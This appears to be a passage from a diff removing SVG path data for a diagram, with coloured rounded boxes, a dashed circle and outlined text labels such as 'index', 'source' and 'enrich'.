-                <path d="M752.8063,211.06578 L752.8063,209.456405 L754.21255,209.456405 L754.21255,211.06578 L752.8063,211.06578 Z M752.8063,220.90953 L752.8063,212.612655 L754.21255,212.612655 L754.21255,220.90953 L752.8063,220.90953 Z M756.360987,220.90953 L756.360987,212.612655 L757.626612,212.612655 L757.626612,213.78453 C758.230779,212.87828 759.110987,212.425155 760.267237,212.425155 C760.767237,212.425155 761.225571,212.513697 761.642237,212.69078 C762.058904,212.867863 762.371404,213.102238 762.579737,213.393905 C762.788071,213.685572 762.933904,214.03453 763.017237,214.44078 C763.069321,214.701197 763.095362,215.154322 763.095362,215.800155 L763.095362,220.90953 L761.689112,220.90953 L761.689112,215.862655 C761.689112,215.289738 761.631821,214.862655 761.517237,214.581405 C761.413071,214.289738 761.220362,214.060572 760.939112,213.893905 C760.668279,213.727238 760.345362,213.643905 759.970362,213.643905 C759.366196,213.643905 758.845362,213.836613 758.407862,214.22203 C757.980779,214.59703 757.767237,215.31578 757.767237,216.37828 L757.767237,220.90953 L756.360987,220.90953 Z M770.634425,220.90953 L770.634425,219.862655 C770.113592,220.685572 769.342758,221.09703 768.321925,221.09703 C767.655258,221.09703 767.045883,220.914738 766.4938,220.550155 C765.941717,220.185572 765.509425,219.675155 765.196925,219.018905 C764.894842,218.362655 764.7438,217.612655 764.7438,216.768905 C764.7438,215.935572 764.879217,215.185572 765.15005,214.518905 C765.4313,213.841822 765.847967,213.326197 766.40005,212.97203 C766.952133,212.607447 767.571925,212.425155 768.259425,212.425155 C768.759425,212.425155 769.202133,212.529322 769.58755,212.737655 C769.983383,212.945988 770.301092,213.22203 770.540675,213.56578 L770.540675,209.456405 L771.946925,209.456405 L771.946925,220.90953 L770.634425,220.90953 Z M766.196925,216.768905 C766.196925,217.831405 766.420883,218.62828 766.8688,219.15953 C767.316717,219.680363 767.842758,219.94078 768.446925,219.94078 C769.061508,219.94078 769.582342,219.69078 770.009425,219.19078 C770.446925,218.680363 770.665675,217.90953 770.665675,216.87828 C770.665675,215.742863 770.446925,214.90953 770.009425,214.37828 C769.571925,213.84703 769.030258,213.581405 768.384425,213.581405 C767.759425,213.581405 767.238592,213.836613 766.821925,214.34703 C766.405258,214.857447 766.196925,215.664738 766.196925,216.768905 Z M779.829737,218.237655 L781.282862,218.40953 C781.053696,219.263697 780.626612,219.925155 780.001612,220.393905 C779.387029,220.862655 778.600571,221.09703 777.642237,221.09703 C776.423487,221.09703 775.459946,220.72203 774.751612,219.97203 C774.043279,219.22203 773.689112,218.175155 773.689112,216.831405 C773.689112,215.435572 774.048487,214.352238 774.767237,213.581405 C775.485987,212.810572 776.418279,212.425155 777.564112,212.425155 C778.668279,212.425155 779.569321,212.805363 780.267237,213.56578 C780.975571,214.31578 781.329737,215.373072 781.329737,216.737655 C781.329737,216.820988 781.329737,216.945988 781.329737,217.112655 L775.142237,217.112655 C775.194321,218.029322 775.449529,218.732447 775.907862,219.22203 C776.376612,219.701197 776.954737,219.94078 777.642237,219.94078 C778.163071,219.94078 778.605779,219.805363 778.970362,219.53453 C779.334946,219.263697 779.621404,218.831405 779.829737,218.237655 Z M775.220362,215.956405 L779.845362,215.956405 C779.782862,215.258488 779.605779,214.737655 779.314112,214.393905 C778.866196,213.852238 778.288071,213.581405 777.579737,213.581405 C776.933904,213.581405 776.387029,213.800155 775.939112,214.237655 C775.501612,214.664738 775.262029,215.237655 775.220362,215.956405 Z M782.1188,220.90953 L785.15005,216.59703 L782.33755,212.612655 L784.103175,212.612655 L785.3688,214.550155 C785.608383,214.925155 785.801092,215.237655 785.946925,215.487655 C786.176092,215.143905 786.389633,214.836613 786.58755,214.56578 L787.978175,212.612655 L789.665675,212.612655 L786.790675,216.518905 L789.884425,220.90953 L788.15005,220.90953 L786.446925,218.331405 L785.9938,217.62828 L783.821925,220.90953 L782.1188,220.90953 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M727.9239,281.62582 L727.9239,281.62582 C727.9239,276.833462 731.808849,272.948482 736.601207,272.948482 L805.136302,272.948482 C807.437694,272.948482 809.644786,273.862697 811.272105,275.490016 C812.899424,277.117336 813.81367,279.324428 813.81367,281.625819 L813.81367,316.334132 C813.81367,321.126491 809.92866,325.01147 805.136302,325.01147 L736.601207,325.01147 C731.808849,325.01147 727.9239,321.126491 727.9239,316.334132 L727.9239,281.62582 Z" id="Path" fill="#F04E98"></path>
-                <path d="M747.35706,292.8556 L748.747685,292.63685 C748.820602,293.19935 749.034143,293.631642 749.38831,293.933725 C749.752893,294.225392 750.252893,294.371225 750.88831,294.371225 C751.534143,294.371225 752.01331,294.241017 752.32581,293.9806 C752.63831,293.709767 752.79456,293.397267 752.79456,293.0431 C752.79456,292.7306 752.659143,292.4806 752.38831,292.2931 C752.190393,292.1681 751.711227,292.01185 750.95081,291.82435 C749.91956,291.563933 749.20081,291.339975 748.79456,291.152475 C748.398727,290.954558 748.096643,290.688933 747.88831,290.3556 C747.690393,290.022267 747.591435,289.652475 747.591435,289.246225 C747.591435,288.871225 747.674768,288.527475 747.841435,288.214975 C748.008102,287.902475 748.237268,287.642058 748.528935,287.433725 C748.747685,287.267058 749.04456,287.131642 749.41956,287.027475 C749.804977,286.912892 750.211227,286.8556 750.63831,286.8556 C751.29456,286.8556 751.867477,286.94935 752.35706,287.13685 C752.846643,287.32435 753.206018,287.579558 753.435185,287.902475 C753.674768,288.214975 753.841435,288.642058 753.935185,289.183725 L752.560185,289.371225 C752.497685,288.944142 752.315393,288.610808 752.01331,288.371225 C751.711227,288.131642 751.289352,288.01185 750.747685,288.01185 C750.101852,288.01185 749.63831,288.121225 749.35706,288.339975 C749.086227,288.548308 748.95081,288.7931 748.95081,289.07435 C748.95081,289.26185 749.008102,289.428517 749.122685,289.57435 C749.237268,289.720183 749.414352,289.845183 749.653935,289.94935 C749.799768,290.001433 750.216435,290.121225 750.903935,290.308725 C751.893518,290.569142 752.586227,290.787892 752.98206,290.964975 C753.377893,291.131642 753.685185,291.376433 753.903935,291.69935 C754.133102,292.022267 754.247685,292.423308 754.247685,292.902475 C754.247685,293.371225 754.10706,293.813933 753.82581,294.2306 C753.554977,294.63685 753.159143,294.954558 752.63831,295.183725 C752.127893,295.412892 751.549768,295.527475 750.903935,295.527475 C749.820602,295.527475 748.997685,295.303517 748.435185,294.8556 C747.872685,294.407683 747.51331,293.741017 747.35706,292.8556 Z M755.38831,291.183725 C755.38831,289.652475 755.815393,288.517058 756.66956,287.777475 C757.38831,287.162892 758.258102,286.8556 759.278935,286.8556 C760.424768,286.8556 761.35706,287.2306 762.07581,287.9806 C762.804977,288.720183 763.16956,289.751433 763.16956,291.07435 C763.16956,292.13685 763.008102,292.975392 762.685185,293.589975 C762.362268,294.204558 761.893518,294.683725 761.278935,295.027475 C760.674768,295.360808 760.008102,295.527475 759.278935,295.527475 C758.122685,295.527475 757.185185,295.157683 756.466435,294.4181 C755.747685,293.6681 755.38831,292.589975 755.38831,291.183725 Z M756.841435,291.183725 C756.841435,292.246225 757.070602,293.0431 757.528935,293.57435 C757.997685,294.1056 758.581018,294.371225 759.278935,294.371225 C759.976852,294.371225 760.554977,294.1056 761.01331,293.57435 C761.48206,293.0431 761.716435,292.2306 761.716435,291.13685 C761.716435,290.116017 761.48206,289.339975 761.01331,288.808725 C760.554977,288.277475 759.976852,288.01185 759.278935,288.01185 C758.581018,288.01185 757.997685,288.277475 757.528935,288.808725 C757.070602,289.329558 756.841435,290.121225 756.841435,291.183725 Z M770.255498,295.339975 L770.255498,294.121225 C769.609664,295.058725 768.729456,295.527475 767.614873,295.527475 C767.125289,295.527475 766.666956,295.433725 766.239873,295.246225 C765.823206,295.058725 765.510706,294.82435 765.302373,294.5431 C765.094039,294.251433 764.948206,293.902475 764.864873,293.496225 C764.812789,293.214975 764.786748,292.777475 764.786748,292.183725 L764.786748,287.0431 L766.192998,287.0431 L766.192998,291.63685 C766.192998,292.376433 766.219039,292.871225 766.271123,293.121225 C766.364873,293.496225 766.552373,293.787892 766.833623,293.996225 C767.125289,294.204558 767.479456,294.308725 767.896123,294.308725 C768.323206,294.308725 768.719039,294.204558 769.083623,293.996225 C769.458623,293.777475 769.719039,293.4806 769.864873,293.1056 C770.021123,292.7306 770.099248,292.188933 770.099248,291.4806 L770.099248,287.0431 L771.505498,287.0431 L771.505498,295.339975 L770.255498,295.339975 Z M773.70081,295.339975 L773.70081,287.0431 L774.966435,287.0431 L774.966435,288.2931 C775.289352,287.709767 775.586227,287.32435 775.85706,287.13685 C776.127893,286.94935 776.429977,286.8556 776.76331,286.8556 C777.23206,286.8556 777.711227,287.006642 778.20081,287.308725 L777.716435,288.6056 C777.372685,288.407683 777.028935,288.308725 776.685185,288.308725 C776.383102,288.308725 776.10706,288.402475 775.85706,288.589975 C775.617477,288.767058 775.445602,289.022267 775.341435,289.3556 C775.185185,289.8556 775.10706,290.402475 775.10706,290.996225 L775.10706,295.339975 L773.70081,295.339975 Z M784.45081,292.2931 L785.841435,292.4806 C785.685185,293.428517 785.29456,294.173308 784.66956,294.714975 C784.054977,295.256642 783.29456,295.527475 782.38831,295.527475 C781.252893,295.527475 780.336227,295.157683 779.63831,294.4181 C778.95081,293.6681 778.60706,292.600392 778.60706,291.214975 C778.60706,290.319142 778.752893,289.537892 779.04456,288.871225 C779.346643,288.194142 779.799768,287.688933 780.403935,287.3556 C781.018518,287.022267 781.679977,286.8556 782.38831,286.8556 C783.29456,286.8556 784.034143,287.084767 784.60706,287.5431 C785.179977,287.991017 785.54456,288.63685 785.70081,289.4806 L784.341435,289.683725 C784.206018,289.131642 783.971643,288.714975 783.63831,288.433725 C783.315393,288.152475 782.91956,288.01185 782.45081,288.01185 C781.742477,288.01185 781.164352,288.267058 780.716435,288.777475 C780.278935,289.277475 780.060185,290.079558 780.060185,291.183725 C780.060185,292.298308 780.273727,293.110808 780.70081,293.621225 C781.127893,294.121225 781.685185,294.371225 782.372685,294.371225 C782.924768,294.371225 783.383102,294.204558 783.747685,293.871225 C784.122685,293.527475 784.35706,293.001433 784.45081,292.2931 Z M792.716435,292.6681 L794.16956,292.839975 C793.940393,293.694142 793.51331,294.3556 792.88831,294.82435 C792.273727,295.2931 791.487268,295.527475 790.528935,295.527475 C789.310185,295.527475 788.346643,295.152475 787.63831,294.402475 C786.929977,293.652475 786.57581,292.6056 786.57581,291.26185 C786.57581,289.866017 786.935185,288.782683 787.653935,288.01185 C788.372685,287.241017 789.304977,286.8556 790.45081,286.8556 C791.554977,286.8556 792.456018,287.235808 793.153935,287.996225 C793.862268,288.746225 794.216435,289.803517 794.216435,291.1681 C794.216435,291.251433 794.216435,291.376433 794.216435,291.5431 L788.028935,291.5431 C788.081018,292.459767 788.336227,293.162892 788.79456,293.652475 C789.26331,294.131642 789.841435,294.371225 790.528935,294.371225 C791.049768,294.371225 791.492477,294.235808 791.85706,293.964975 C792.221643,293.694142 792.508102,293.26185 792.716435,292.6681 Z M788.10706,290.38685 L792.73206,290.38685 C792.66956,289.688933 792.492477,289.1681 792.20081,288.82435 C791.752893,288.282683 791.174768,288.01185 790.466435,288.01185 C789.820602,288.01185 789.273727,288.2306 788.82581,288.6681 C788.38831,289.095183 788.148727,289.6681 788.10706,290.38685 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M752.8063,304.49622 L752.8063,302.886845 L754.21255,302.886845 L754.21255,304.49622 L752.8063,304.49622 Z M752.8063,314.33997 L752.8063,306.043095 L754.21255,306.043095 L754.21255,314.33997 L752.8063,314.33997 Z M756.360987,314.33997 L756.360987,306.043095 L757.626612,306.043095 L757.626612,307.21497 C758.230779,306.30872 759.110987,305.855595 760.267237,305.855595 C760.767237,305.855595 761.225571,305.944137 761.642237,306.12122 C762.058904,306.298303 762.371404,306.532678 762.579737,306.824345 C762.788071,307.116012 762.933904,307.46497 763.017237,307.87122 C763.069321,308.131637 763.095362,308.584762 763.095362,309.230595 L763.095362,314.33997 L761.689112,314.33997 L761.689112,309.293095 C761.689112,308.720178 761.631821,308.293095 761.517237,308.011845 C761.413071,307.720178 761.220362,307.491012 760.939112,307.324345 C760.668279,307.157678 760.345362,307.074345 759.970362,307.074345 C759.366196,307.074345 758.845362,307.267053 758.407862,307.65247 C757.980779,308.02747 757.767237,308.74622 757.767237,309.80872 L757.767237,314.33997 L756.360987,314.33997 Z M770.634425,314.33997 L770.634425,313.293095 C770.113592,314.116012 769.342758,314.52747 768.321925,314.52747 C767.655258,314.52747 767.045883,314.345178 766.4938,313.980595 C765.941717,313.616012 765.509425,313.105595 765.196925,312.449345 C764.894842,311.793095 764.7438,311.043095 764.7438,310.199345 C764.7438,309.366012 764.879217,308.616012 765.15005,307.949345 C765.4313,307.272262 765.847967,306.756637 766.40005,306.40247 C766.952133,306.037887 767.571925,305.855595 768.259425,305.855595 C768.759425,305.855595 769.202133,305.959762 769.58755,306.168095 C769.983383,306.376428 770.301092,306.65247 770.540675,306.99622 L770.540675,302.886845 L771.946925,302.886845 L771.946925,314.33997 L770.634425,314.33997 Z M766.196925,310.199345 C766.196925,311.261845 766.420883,312.05872 766.8688,312.58997 C767.316717,313.110803 767.842758,313.37122 768.446925,313.37122 C769.061508,313.37122 769.582342,313.12122 770.009425,312.62122 C770.446925,312.110803 770.665675,311.33997 770.665675,310.30872 C770.665675,309.173303 770.446925,308.33997 770.009425,307.80872 C769.571925,307.27747 769.030258,307.011845 768.384425,307.011845 C767.759425,307.011845 767.238592,307.267053 766.821925,307.77747 C766.405258,308.287887 766.196925,309.095178 766.196925,310.199345 Z M779.829737,311.668095 L781.282862,311.83997 C781.053696,312.694137 780.626612,313.355595 780.001612,313.824345 C779.387029,314.293095 778.600571,314.52747 777.642237,314.52747 C776.423487,314.52747 775.459946,314.15247 774.751612,313.40247 C774.043279,312.65247 773.689112,311.605595 773.689112,310.261845 C773.689112,308.866012 774.048487,307.782678 774.767237,307.011845 C775.485987,306.241012 776.418279,305.855595 777.564112,305.855595 C778.668279,305.855595 779.569321,306.235803 780.267237,306.99622 C780.975571,307.74622 781.329737,308.803512 781.329737,310.168095 C781.329737,310.251428 781.329737,310.376428 781.329737,310.543095 L775.142237,310.543095 C775.194321,311.459762 775.449529,312.162887 775.907862,312.65247 C776.376612,313.131637 776.954737,313.37122 777.642237,313.37122 C778.163071,313.37122 778.605779,313.235803 778.970362,312.96497 C779.334946,312.694137 779.621404,312.261845 779.829737,311.668095 Z M775.220362,309.386845 L779.845362,309.386845 C779.782862,308.688928 779.605779,308.168095 779.314112,307.824345 C778.866196,307.282678 778.288071,307.011845 777.579737,307.011845 C776.933904,307.011845 776.387029,307.230595 775.939112,307.668095 C775.501612,308.095178 775.262029,308.668095 775.220362,309.386845 Z M782.1188,314.33997 L785.15005,310.02747 L782.33755,306.043095 L784.103175,306.043095 L785.3688,307.980595 C785.608383,308.355595 785.801092,308.668095 785.946925,308.918095 C786.176092,308.574345 786.389633,308.267053 786.58755,307.99622 L787.978175,306.043095 L789.665675,306.043095 L786.790675,309.949345 L789.884425,314.33997 L788.15005,314.33997 L786.446925,311.761845 L785.9938,311.05872 L783.821925,314.33997 L782.1188,314.33997 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M450.0971,241.7796 L450.0971,241.7796 C450.0971,236.987242 453.982079,233.102262 458.774438,233.102262 L527.309503,233.102262 C529.610895,233.102262 531.818048,234.016477 533.445306,235.643796 C535.072625,237.271116 535.986871,239.478223 535.986871,241.779599 L535.986871,276.487912 C535.986871,281.280271 532.101922,285.16525 527.309503,285.16525 L458.774438,285.16525 C453.98208,285.16525 450.0971,281.280271 450.0971,276.487912 L450.0971,241.7796 Z" id="Path" fill="#FA734F"></path>
-                <path d="M477.9873,252.82188 L479.440425,252.993755 C479.211258,253.847922 478.784175,254.50938 478.159175,254.97813 C477.544592,255.44688 476.758133,255.681255 475.7998,255.681255 C474.58105,255.681255 473.617508,255.306255 472.909175,254.556255 C472.200842,253.806255 471.846675,252.75938 471.846675,251.41563 C471.846675,250.019797 472.20605,248.936463 472.9248,248.16563 C473.64355,247.394797 474.575842,247.00938 475.721675,247.00938 C476.825842,247.00938 477.726883,247.389588 478.4248,248.150005 C479.133133,248.900005 479.4873,249.957297 479.4873,251.32188 C479.4873,251.405213 479.4873,251.530213 479.4873,251.69688 L473.2998,251.69688 C473.351883,252.613547 473.607092,253.316672 474.065425,253.806255 C474.534175,254.285422 475.1123,254.525005 475.7998,254.525005 C476.320633,254.525005 476.763342,254.389588 477.127925,254.118755 C477.492508,253.847922 477.778967,253.41563 477.9873,252.82188 Z M473.377925,250.54063 L478.002925,250.54063 C477.940425,249.842713 477.763342,249.32188 477.471675,248.97813 C477.023758,248.436463 476.445633,248.16563 475.7373,248.16563 C475.091467,248.16563 474.544592,248.38438 474.096675,248.82188 C473.659175,249.248963 473.419592,249.82188 473.377925,250.54063 Z M481.213863,255.493755 L481.213863,247.19688 L482.479488,247.19688 L482.479488,248.368755 C483.083654,247.462505 483.963863,247.00938 485.120113,247.00938 C485.620113,247.00938 486.078446,247.097922 486.495113,247.275005 C486.911779,247.452088 487.224279,247.686463 487.432613,247.97813 C487.640946,248.269797 487.786779,248.618755 487.870113,249.025005 C487.922196,249.285422 487.948238,249.738547 487.948238,250.38438 L487.948238,255.493755 L486.541988,255.493755 L486.541988,250.44688 C486.541988,249.873963 486.484696,249.44688 486.370113,249.16563 C486.265946,248.873963 486.073238,248.644797 485.791988,248.47813 C485.521154,248.311463 485.198238,248.22813 484.823238,248.22813 C484.219071,248.22813 483.698238,248.420838 483.260738,248.806255 C482.833654,249.181255 482.620113,249.900005 482.620113,250.962505 L482.620113,255.493755 L481.213863,255.493755 Z M490.096675,255.493755 L490.096675,247.19688 L491.3623,247.19688 L491.3623,248.44688 C491.685217,247.863547 491.982092,247.47813 492.252925,247.29063 C492.523758,247.10313 492.825842,247.00938 493.159175,247.00938 C493.627925,247.00938 494.107092,247.160422 494.596675,247.462505 L494.1123,248.75938 C493.76855,248.561463 493.4248,248.462505 493.08105,248.462505 C492.778967,248.462505 492.502925,248.556255 492.252925,248.743755 C492.013342,248.920838 491.841467,249.176047 491.7373,249.50938 C491.58105,250.00938 491.502925,250.556255 491.502925,251.150005 L491.502925,255.493755 L490.096675,255.493755 Z M495.440425,245.650005 L495.440425,244.04063 L496.846675,244.04063 L496.846675,245.650005 L495.440425,245.650005 Z M495.440425,255.493755 L495.440425,247.19688 L496.846675,247.19688 L496.846675,255.493755 L495.440425,255.493755 Z M504.401363,252.44688 L505.791988,252.63438 C505.635738,253.582297 505.245113,254.327088 504.620113,254.868755 C504.005529,255.410422 503.245113,255.681255 502.338863,255.681255 C501.203446,255.681255 500.286779,255.311463 499.588863,254.57188 C498.901363,253.82188 498.557613,252.754172 498.557613,251.368755 C498.557613,250.472922 498.703446,249.691672 498.995113,249.025005 C499.297196,248.347922 499.750321,247.842713 500.354488,247.50938 C500.969071,247.176047 501.630529,247.00938 502.338863,247.00938 C503.245113,247.00938 503.984696,247.238547 504.557613,247.69688 C505.130529,248.144797 505.495113,248.79063 505.651363,249.63438 L504.291988,249.837505 C504.156571,249.285422 503.922196,248.868755 503.588863,248.587505 C503.265946,248.306255 502.870113,248.16563 502.401363,248.16563 C501.693029,248.16563 501.114904,248.420838 500.666988,248.931255 C500.229488,249.431255 500.010738,250.233338 500.010738,251.337505 C500.010738,252.452088 500.224279,253.264588 500.651363,253.775005 C501.078446,254.275005 501.635738,254.525005 502.323238,254.525005 C502.875321,254.525005 503.333654,254.358338 503.698238,254.025005 C504.073238,253.681255 504.307613,253.155213 504.401363,252.44688 Z M506.995113,255.493755 L506.995113,244.04063 L508.401363,244.04063 L508.401363,248.150005 C509.057613,247.389588 509.885738,247.00938 510.885738,247.00938 C511.500321,247.00938 512.031571,247.129172 512.479488,247.368755 C512.937821,247.608338 513.260738,247.941672 513.448238,248.368755 C513.646154,248.795838 513.745113,249.41563 513.745113,250.22813 L513.745113,255.493755 L512.338863,255.493755 L512.338863,250.22813 C512.338863,249.530213 512.187821,249.019797 511.885738,248.69688 C511.583654,248.373963 511.151363,248.212505 510.588863,248.212505 C510.172196,248.212505 509.781571,248.32188 509.416988,248.54063 C509.052404,248.75938 508.791988,249.056255 508.635738,249.431255 C508.479488,249.795838 508.401363,250.301047 508.401363,250.94688 L508.401363,255.493755 L506.995113,255.493755 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M474.9795,264.65002 L474.9795,263.040645 L476.38575,263.040645 L476.38575,264.65002 L474.9795,264.65002 Z M474.9795,274.49377 L474.9795,266.196895 L476.38575,266.196895 L476.38575,274.49377 L474.9795,274.49377 Z M478.534187,274.49377 L478.534187,266.196895 L479.799812,266.196895 L479.799812,267.36877 C480.403979,266.46252 481.284187,266.009395 482.440437,266.009395 C482.940437,266.009395 483.398771,266.097937 483.815437,266.27502 C484.232104,266.452103 484.544604,266.686478 484.752937,266.978145 C484.961271,267.269812 485.107104,267.61877 485.190437,268.02502 C485.242521,268.285437 485.268562,268.738562 485.268562,269.384395 L485.268562,274.49377 L483.862312,274.49377 L483.862312,269.446895 C483.862312,268.873978 483.805021,268.446895 483.690437,268.165645 C483.586271,267.873978 483.393562,267.644812 483.112312,267.478145 C482.841479,267.311478 482.518562,267.228145 482.143562,267.228145 C481.539396,267.228145 481.018562,267.420853 480.581062,267.80627 C480.153979,268.18127 479.940437,268.90002 479.940437,269.96252 L479.940437,274.49377 L478.534187,274.49377 Z M492.807625,274.49377 L492.807625,273.446895 C492.286792,274.269812 491.515958,274.68127 490.495125,274.68127 C489.828458,274.68127 489.219083,274.498978 488.667,274.134395 C488.114917,273.769812 487.682625,273.259395 487.370125,272.603145 C487.068042,271.946895 486.917,271.196895 486.917,270.353145 C486.917,269.519812 487.052417,268.769812 487.32325,268.103145 C487.6045,267.426062 488.021167,266.910437 488.57325,266.55627 C489.125333,266.191687 489.745125,266.009395 490.432625,266.009395 C490.932625,266.009395 491.375333,266.113562 491.76075,266.321895 C492.156583,266.530228 492.474292,266.80627 492.713875,267.15002 L492.713875,263.040645 L494.120125,263.040645 L494.120125,274.49377 L492.807625,274.49377 Z M488.370125,270.353145 C488.370125,271.415645 488.594083,272.21252 489.042,272.74377 C489.489917,273.264603 490.015958,273.52502 490.620125,273.52502 C491.234708,273.52502 491.755542,273.27502 492.182625,272.77502 C492.620125,272.264603 492.838875,271.49377 492.838875,270.46252 C492.838875,269.327103 492.620125,268.49377 492.182625,267.96252 C491.745125,267.43127 491.203458,267.165645 490.557625,267.165645 C489.932625,267.165645 489.411792,267.420853 488.995125,267.93127 C488.578458,268.441687 488.370125,269.248978 488.370125,270.353145 Z M502.002937,271.821895 L503.456062,271.99377 C503.226896,272.847937 502.799812,273.509395 502.174812,273.978145 C501.560229,274.446895 500.773771,274.68127 499.815437,274.68127 C498.596687,274.68127 497.633146,274.30627 496.924812,273.55627 C496.216479,272.80627 495.862312,271.759395 495.862312,270.415645 C495.862312,269.019812 496.221687,267.936478 496.940437,267.165645 C497.659187,266.394812 498.591479,266.009395 499.737312,266.009395 C500.841479,266.009395 501.742521,266.389603 502.440437,267.15002 C503.148771,267.90002 503.502937,268.957312 503.502937,270.321895 C503.502937,270.405228 503.502937,270.530228 503.502937,270.696895 L497.315437,270.696895 C497.367521,271.613562 497.622729,272.316687 498.081062,272.80627 C498.549812,273.285437 499.127937,273.52502 499.815437,273.52502 C500.336271,273.52502 500.778979,273.389603 501.143562,273.11877 C501.508146,272.847937 501.794604,272.415645 502.002937,271.821895 Z M497.393562,269.540645 L502.018562,269.540645 C501.956062,268.842728 501.778979,268.321895 501.487312,267.978145 C501.039396,267.436478 500.461271,267.165645 499.752937,267.165645 C499.107104,267.165645 498.560229,267.384395 498.112312,267.821895 C497.674812,268.248978 497.435229,268.821895 497.393562,269.540645 Z M504.292,274.49377 L507.32325,270.18127 L504.51075,266.196895 L506.276375,266.196895 L507.542,268.134395 C507.781583,268.509395 507.974292,268.821895 508.120125,269.071895 C508.349292,268.728145 508.562833,268.420853 508.76075,268.15002 L510.151375,266.196895 L511.838875,266.196895 L508.963875,270.103145 L512.057625,274.49377 L510.32325,274.49377 L508.620125,271.915645 L508.167,271.21252 L505.995125,274.49377 L504.292,274.49377 L504.292,274.49377 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M589.6299,259.23456 L589.6299,259.23456 C589.6299,233.62073 610.873491,212.856615 637.078753,212.856615 L637.078753,212.856615 C649.662921,212.856615 661.731768,217.742845 670.630143,226.440401 C679.528519,235.137957 684.527543,246.934374 684.527543,259.234561 L684.527543,259.234561 C684.527543,284.848422 663.284013,305.612521 637.078753,305.612521 L637.078753,305.612521 C610.873492,305.612521 589.6299,284.848421 589.6299,259.234561 L589.6299,259.23456 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M589.6299,259.23456 L589.6299,259.23456 C589.6299,233.62073 610.873491,212.856615 637.078753,212.856615 L637.078753,212.856615 C649.662921,212.856615 661.731768,217.742845 670.630143,226.440401 C679.528519,235.137957 684.527543,246.934374 684.527543,259.234561 L684.527543,259.234561 C684.527543,284.848422 663.284013,305.612521 637.078753,305.612521 L637.078753,305.612521 C610.873492,305.612521 589.6299,284.848421 589.6299,259.234561 L589.6299,259.23456 Z" id="Path" stroke="#434753" stroke-width="2" stroke-linejoin="round" stroke-dasharray="16,6"></path>
-                <path d="M622.02405,252.9227 L623.477175,253.094575 C623.248008,253.948742 622.820925,254.6102 622.195925,255.07895 C621.581342,255.5477 620.794883,255.782075 619.83655,255.782075 C618.6178,255.782075 617.654258,255.407075 616.945925,254.657075 C616.237592,253.907075 615.883425,252.8602 615.883425,251.51645 C615.883425,250.120617 616.2428,249.037283 616.96155,248.26645 C617.6803,247.495617 618.612592,247.1102 619.758425,247.1102 C620.862592,247.1102 621.763633,247.490408 622.46155,248.250825 C623.169883,249.000825 623.52405,250.058117 623.52405,251.4227 C623.52405,251.506033 623.52405,251.631033 623.52405,251.7977 L617.33655,251.7977 C617.388633,252.714367 617.643842,253.417492 618.102175,253.907075 C618.570925,254.386242 619.14905,254.625825 619.83655,254.625825 C620.357383,254.625825 620.800092,254.490408 621.164675,254.219575 C621.529258,253.948742 621.815717,253.51645 622.02405,252.9227 Z M617.414675,250.64145 L622.039675,250.64145 C621.977175,249.943533 621.800092,249.4227 621.508425,249.07895 C621.060508,248.537283 620.482383,248.26645 619.77405,248.26645 C619.128217,248.26645 618.581342,248.4852 618.133425,248.9227 C617.695925,249.349783 617.456342,249.9227 617.414675,250.64145 Z M625.250612,255.594575 L625.250612,247.2977 L626.516237,247.2977 L626.516237,248.469575 C627.120404,247.563325 628.000612,247.1102 629.156862,247.1102 C629.656862,247.1102 630.115196,247.198742 630.531862,247.375825 C630.948529,247.552908 631.261029,247.787283 631.469362,248.07895 C631.677696,248.370617 631.823529,248.719575 631.906862,249.125825 C631.958946,249.386242 631.984987,249.839367 631.984987,250.4852 L631.984987,255.594575 L630.578737,255.594575 L630.578737,250.5477 C630.578737,249.974783 630.521446,249.5477 630.406862,249.26645 C630.302696,248.974783 630.109987,248.745617 629.828737,248.57895 C629.557904,248.412283 629.234987,248.32895 628.859987,248.32895 C628.255821,248.32895 627.734987,248.521658 627.297487,248.907075 C626.870404,249.282075 626.656862,250.000825 626.656862,251.063325 L626.656862,255.594575 L625.250612,255.594575 Z M634.133425,255.594575 L634.133425,247.2977 L635.39905,247.2977 L635.39905,248.5477 C635.721967,247.964367 636.018842,247.57895 636.289675,247.39145 C636.560508,247.20395 636.862592,247.1102 637.195925,247.1102 C637.664675,247.1102 638.143842,247.261242 638.633425,247.563325 L638.14905,248.8602 C637.8053,248.662283 637.46155,248.563325 637.1178,248.563325 C636.815717,248.563325 636.539675,248.657075 636.289675,248.844575 C636.050092,249.021658 635.878217,249.276867 635.77405,249.6102 C635.6178,250.1102 635.539675,250.657075 635.539675,251.250825 L635.539675,255.594575 L634.133425,255.594575 Z M639.477175,245.750825 L639.477175,244.14145 L640.883425,244.14145 L640.883425,245.750825 L639.477175,245.750825 Z M639.477175,255.594575 L639.477175,247.2977 L640.883425,247.2977 L640.883425,255.594575 L639.477175,255.594575 Z M648.438112,252.5477 L649.828737,252.7352 C649.672487,253.683117 649.281862,254.427908 648.656862,254.969575 C648.042279,255.511242 647.281862,255.782075 646.375612,255.782075 C645.240196,255.782075 644.323529,255.412283 643.625612,254.6727 C642.938112,253.9227 642.594362,252.854992 642.594362,251.469575 C642.594362,250.573742 642.740196,249.792492 643.031862,249.125825 C643.333946,248.448742 643.787071,247.943533 644.391237,247.6102 C645.005821,247.276867 645.667279,247.1102 646.375612,247.1102 C647.281862,247.1102 648.021446,247.339367 648.594362,247.7977 C649.167279,248.245617 649.531862,248.89145 649.688112,249.7352 L648.328737,249.938325 C648.193321,249.386242 647.958946,248.969575 647.625612,248.688325 C647.302696,248.407075 646.906862,248.26645 646.438112,248.26645 C645.729779,248.26645 645.151654,248.521658 644.703737,249.032075 C644.266237,249.532075 644.047487,250.334158 644.047487,251.438325 C644.047487,252.552908 644.261029,253.365408 644.688112,253.875825 C645.115196,254.375825 645.672487,254.625825 646.359987,254.625825 C646.912071,254.625825 647.370404,254.459158 647.734987,254.125825 C648.109987,253.782075 648.344362,253.256033 648.438112,252.5477 Z M651.031862,255.594575 L651.031862,244.14145 L652.438112,244.14145 L652.438112,248.250825 C653.094362,247.490408 653.922487,247.1102 654.922487,247.1102 C655.537071,247.1102 656.068321,247.229992 656.516237,247.469575 C656.974571,247.709158 657.297487,248.042492 657.484987,248.469575 C657.682904,248.896658 657.781862,249.51645 657.781862,250.32895 L657.781862,255.594575 L656.375612,255.594575 L656.375612,250.32895 